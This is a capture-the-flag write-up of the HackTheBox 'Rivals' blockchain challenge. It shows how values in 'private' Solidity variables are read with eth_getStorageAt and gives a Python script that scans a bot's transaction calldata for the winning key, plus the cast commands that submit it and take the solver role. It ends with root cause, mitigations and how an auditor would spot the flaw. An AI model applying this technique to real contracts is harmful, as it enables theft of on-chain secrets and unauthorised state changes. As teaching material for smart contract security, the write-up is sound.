Challenge Overview
Rivals is the first challenge in the HackTheBox Blockchain track. The narrative frames it as Alex eavesdropping on a rival group — listening in on their private conversations. The metaphor is deliberate: the exploit mirrors that exact act of listening to something the target assumed was private.
The challenge deploys two contracts on a private EVM chain. Setup.sol acts as the scorekeeping contract and defines the win condition. Rivals.sol is the target — it holds the encrypted flag and the hash to verify against.
Objective: Make isSolved(player) return true. To do that, the solver variable inside Rivals.sol must equal your player address. The only way to change solver is through the talk() function, which will only write your address if you supply the correct cryptographic key.
Initial Recon
Every HTB blockchain challenge starts with a connection info endpoint that gives you the instance-specific addresses and private key. This is the first thing to retrieve.
$ curl http://<INSTANCE_IP>:<PORT>/connection_info{
"PrivateKey": "0x26d0e26b...",
"Address": "0x49EC7B5E...",
"TargetAddress": "0xbe83Ed2d...",
"setupAddress": "0xdce1EC25..."
}With these values, set your shell environment so every subsequent command uses them:
$ export RPC="http://<INSTANCE_IP>:<PORT>/rpc"
export PRIVATE_KEY="0x26d0e26b..."
export PLAYER="0x49EC7B5E..."
export TARGET="0xbe83Ed2d..."
export SETUP="0xdce1EC25..."Contract Architecture
Reading the source code is the most important step before touching any tools. The source establishes the entire mental model for the exploit.
Setup.sol — The Win Condition
Setup.sol exists only to define what counts as a win and to expose the target contract address.
| 1 | function isSolved(address _player) public view returns (bool) { |
| 2 | return TARGET.solver() == _player; |
| 3 | } |
Clear goal: the solver public variable in the Rivals contract must equal our address.
Rivals.sol — The Target
| 1 | contract Rivals { |
| 2 | bytes32 private encryptedFlag; |
| 3 | bytes32 private hashedFlag; |
| 4 | address public solver; |
| 5 | |
| 6 | function talk(bytes32 _key) external { |
| 7 | bytes32 _flag = _key ^ encryptedFlag; |
| 8 | if (keccak256(abi.encode(_flag)) == hashedFlag) { |
| 9 | solver = msg.sender; |
| 10 | } |
| 11 | } |
| 12 | } |
Let's break down what this contract does, line by line.
- Lines 2–3: Two
bytes32values are stored with theprivatekeyword. The contract's author intended these to be secret. - Line 7:
_key ^ encryptedFlag— XOR the submitted key against the stored encrypted flag to derive the candidate plaintext flag. - Line 8: Hash the candidate flag with keccak256. If it matches
hashedFlag, the key is correct. - Line 9: Only on a successful hash check does
solverget set to our address.
So the problem reduces to: find the bytes32 key such that XOR(key, encryptedFlag) hashes to hashedFlag. The values of encryptedFlag and hashedFlag are the keys to solving this — and they are stored as private.
The Private Keyword Misconception
This is the core misconception the challenge is built around, and it trips up many developers who come from traditional programming backgrounds.
MENTAL MODEL
private means:
Other Solidity contracts cannot directly read or call this variable through the Solidity type system.
private does NOT mean:
The data is hidden from the blockchain. The data is encrypted. The data cannot be read by a node, a user, or an attacker.
To understand why, you need to understand how the EVM stores contract state.
How EVM Storage Works
Every contract on Ethereum has a storage space that behaves like an array of 2²⁵⁶ slots, each holding a 32-byte value. The Solidity compiler assigns state variables to these slots sequentially, starting at slot 0, in the order they are declared.
For the Rivals contract, the layout is straightforward:
┌─────────────────────────────────────────────────────┐
│ Slot 0 │ encryptedFlag (bytes32, private) │
├─────────────────────────────────────────────────────┤
│ Slot 1 │ hashedFlag (bytes32, private) │
├─────────────────────────────────────────────────────┤
│ Slot 2 │ solver (address, public) │
└─────────────────────────────────────────────────────┘
Note: "private" affects Solidity compiler access only.
All three slots are readable via eth_getStorageAt.The Ethereum JSON-RPC specification includes a method called eth_getStorageAt. It accepts a contract address and a slot number and returns the raw 32-byte value stored at that slot. There is no authentication. There is no permission check. Anyone who can speak to an Ethereum node can call this method on any contract, for any slot.
This is not a bug — it is fundamental to how Ethereum validators must reach consensus. Validators must be able to re-execute every transaction and confirm that state transitions are correct. If storage were truly private, validation would be impossible.
Reading Storage Directly
Foundry's cast storage command is a thin wrapper around eth_getStorageAt. It sends the JSON-RPC request and returns the result in hex. The slot number argument corresponds directly to the storage slot in the EVM layout above.
$ cast storage --rpc-url $RPC $TARGET 00x97a77860482b0d040a097a19643f39b7ac096707bf6c796ef6b7affdcbd294f2
This is encryptedFlag. The raw 32-byte value that the author intended to be private.
$ cast storage --rpc-url $RPC $TARGET 10x5fc60acafd59adc52ad54afa3bfc0d926b8360fed5699385482e864a9333992a
This is hashedFlag. The keccak256 hash of the plaintext flag. We can use this to verify any candidate key we test.
KEY INSIGHT
We now know both ingredients of the puzzle. encryptedFlag and hashedFlag are in our hands, despite being declared private. The next question is: what key do we submit to talk()?
The Cryptographic Relationship
Looking at the talk() function, we can map out the full relationship:
plaintext_flag (what the challenge author knew)
│
│ XOR with key
▼
encryptedFlag (stored in slot 0 — we can read this)
+
key (what the bot sends to talk())
│
│ XOR
▼
candidate_flag
│
│ keccak256(abi.encode(...))
▼
candidate_hash
compare with ──► hashedFlag (stored in slot 1 — we can read this)
If match → solver = msg.senderXOR has a crucial property: if C = P ⊕ K (ciphertext = plaintext XOR key), then P = C ⊕ K (the same key decrypts it). If we know the key, we can recover the flag. If we know the flag, we can recover the key.
The challenge does not give us either directly. But it gives us something better: an on-chain bot that tries different keys every block. If we observe which key, when XOR'd with encryptedFlag, produces a value that hashes to hashedFlag — that is the winning key.
The Bot and Its Transactions
The challenge deploys an on-chain bot that calls talk(bytes32) on the Rivals contract every block, cycling through different keys. This is the "rival group" from the narrative. The bot's transactions are permanently recorded on-chain.
Crucially, transaction calldata is also publicly readable. When the bot submits a key to talk(), the key is part of the transaction input field. We can retrieve every transaction sent to the target contract and inspect the calldata for any key that produces the correct hash.
How Function Selectors and ABI Encoding Work
When you call a Solidity function, the EVM does not receive a function name — it receives a 4-byte selector, computed as the first 4 bytes of keccak256("functionName(paramTypes)"). For talk(bytes32), that selector is 0x52eab0fa.
Input field of a talk(bytes32) call:
0x52eab0fa [4 bytes: function selector for talk(bytes32)]
[32 bytes: ABI-encoded _key argument ]
Example:
0x52eab0fa 97a77860482b0d040a097a19643f39b7ac096707bf6c796ef6b7affdcbd294f2
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
This is the bytes32 _key argument
To extract the key: input[10:] (skip "0x" + 4 selector bytes = 10 hex chars)Extracting the Winning Key
The strategy: iterate through every block, find every transaction to the Rivals contract, check whether the input starts with the talk() selector, extract the key from the calldata, XOR it with encryptedFlag, and check if keccak256 of the result matches hashedFlag. The first one that matches is the winning key.
| 1 | import subprocess, json |
| 2 | |
| 3 | # Values read from contract storage (replace with actual instance values) |
| 4 | encrypted_hex = "97a77860482b0d040a097a19643f39b7ac096707bf6c796ef6b7affdcbd294f2" |
| 5 | hashed_flag = "5fc60acafd59adc52ad54afa3bfc0d926b8360fed5699385482e864a9333992a" |
| 6 | rpc = "http://<INSTANCE_IP>:<PORT>/rpc" |
| 7 | target = "0xbe83Ed2df5206e10CE554379FCc7D792Bc5579a9".lower() |
| 8 | |
| 9 | encrypted_bytes = bytes.fromhex(encrypted_hex) |
| 10 | |
| 11 | # Selector for talk(bytes32) |
| 12 | TALK_SELECTOR = "0x52eab0fa" |
| 13 | |
| 14 | def run(cmd): |
| 15 | return subprocess.run(cmd, capture_output=True, text=True, shell=True).stdout.strip() |
| 16 | |
| 17 | current_block = int(run(f"cast block-number --rpc-url {rpc}")) |
| 18 | print(f"[*] Scanning {current_block} blocks...") |
| 19 | |
| 20 | for block_num in range(1, current_block + 1): |
| 21 | block = json.loads(run(f"cast block {block_num} --rpc-url {rpc} --json")) |
| 22 | |
| 23 | for tx_hash in block.get("transactions", []): |
| 24 | tx = json.loads(run(f"cast tx {tx_hash} --rpc-url {rpc} --json")) |
| 25 | |
| 26 | # Only look at transactions TO our target that call talk() |
| 27 | if tx.get("to", "").lower() != target: |
| 28 | continue |
| 29 | if not tx.get("input", "").startswith(TALK_SELECTOR): |
| 30 | continue |
| 31 | |
| 32 | # Extract the key: input = 0x[4-byte-selector][32-byte-key] |
| 33 | # "0x" prefix = 2 chars, selector = 8 chars, total skip = 10 chars |
| 34 | key_hex = tx["input"][10:] |
| 35 | key_bytes = bytes.fromhex(key_hex) |
| 36 | |
| 37 | # XOR the candidate key against encryptedFlag |
| 38 | candidate_flag = bytes(a ^ b for a, b in zip(key_bytes, encrypted_bytes)) |
| 39 | |
| 40 | # Verify: keccak256(abi.encode(candidate_flag)) should equal hashedFlag |
| 41 | candidate_hash = run(f"cast keccak 0x{candidate_flag.hex()}").replace("0x", "") |
| 42 | |
| 43 | if candidate_hash == hashed_flag: |
| 44 | print(f"[+] Winning key found in block {block_num}:") |
| 45 | print(f" Key: 0x{key_hex}") |
| 46 | print(f" Flag: {candidate_flag.rstrip(b'\x00')}") |
| 47 | break |
| 48 |
Walking through the important lines:
- Line 27–28: We filter transactions to only those targeting our contract that call
talk()specifically. The selector0x52eab0fauniquely identifies this function. - Line 32:
input[10:]skips the0xprefix (2 chars) and the 4-byte selector (8 hex chars), leaving only the 32-byte key argument. - Line 35: XOR against
encryptedFlagrecovers the candidate plaintext flag. - Line 38–39: Hash and compare. If the hash matches, we have found the correct key.
Executing the Exploit
Once the script identifies the winning key, submitting it to talk() from our player address is a single transaction:
$ cast send \
--rpc-url $RPC \
--private-key $PRIVATE_KEY \
$TARGET "talk(bytes32)" <WINNING_KEY>Inside the EVM, the execution proceeds as:
- Read
encryptedFlagfrom storage (slot 0). - XOR it with the key we submitted — the result is the plaintext flag.
- Compute
keccak256(abi.encode(flag)). - Compare against
hashedFlagin storage (slot 1). - Match confirmed —
solveris set tomsg.sender(our player address).
Verify the win condition:
$ cast call --rpc-url $RPC $SETUP "isSolved(address)" $PLAYER0x0000000000000000000000000000000000000000000000000000000000000001
The return value is 0x...0001 — ABI-encoded true. Challenge solved.
1. Read slot 0 → encryptedFlag
2. Read slot 1 → hashedFlag
│
▼
3. Scan historical bot transactions
4. Filter: to=TARGET, selector=0x52eab0fa
5. For each matching tx:
│
├── Extract key from calldata[10:]
│
├── candidate_flag = key ⊕ encryptedFlag
│
└── if keccak256(candidate_flag) == hashedFlag:
│
▼
6. call talk(key) from player address
│
▼
7. solver = player
│
▼
8. isSolved() → trueRoot Cause & Mitigation
Root Cause
The developer stored a cryptographic secret (encryptedFlag) in contract state, using the private keyword as a confidentiality mechanism. The private keyword provides no confidentiality at the blockchain level.
How to Fix It
There is no on-chain fix for on-chain data. Once data is written to Ethereum storage, it is permanently readable. The correct design patterns are:
- Commit-reveal schemes: Users commit to a hash of their answer, then reveal it later. The hash can be stored on-chain without revealing the preimage.
- Off-chain secrets: Keep the secret entirely off-chain and only verify proofs on-chain (e.g., zero-knowledge proofs).
- Never store secrets on-chain: If a value must remain secret from participants, it cannot be stored in contract state without cryptographic proof techniques.
How an Auditor Would Detect This
During a smart contract audit, any state variable declared private that:
- — Is used in a security-critical comparison or check
- — Represents a key, seed, password, or secret
- — Is the sole protection mechanism for a privileged operation
...should be flagged immediately as a critical finding.
Lessons Learned
Lesson 1 — Visibility ≠ Confidentiality
Solidity's private keyword controls Solidity-level access only. It is a compiler construct, not a runtime security feature. Any value stored in EVM storage — regardless of declared visibility — is publicly readable via eth_getStorageAt.
Lesson 2 — Calldata is Public History
Every transaction on Ethereum is a permanent public record. The input (calldata) field contains the function selector and all arguments. Bots, scripts, and historical scanners can reconstruct every function call ever made to a contract. Never rely on calldata obscurity for security.
Lesson 3 — Pattern Recognition for Future Challenges
When you see a challenge where:
— A function accepts a key/password and verifies it against a stored hash
— The target values are declared private
Your first step is always: read the storage slots. The values are almost certainly there.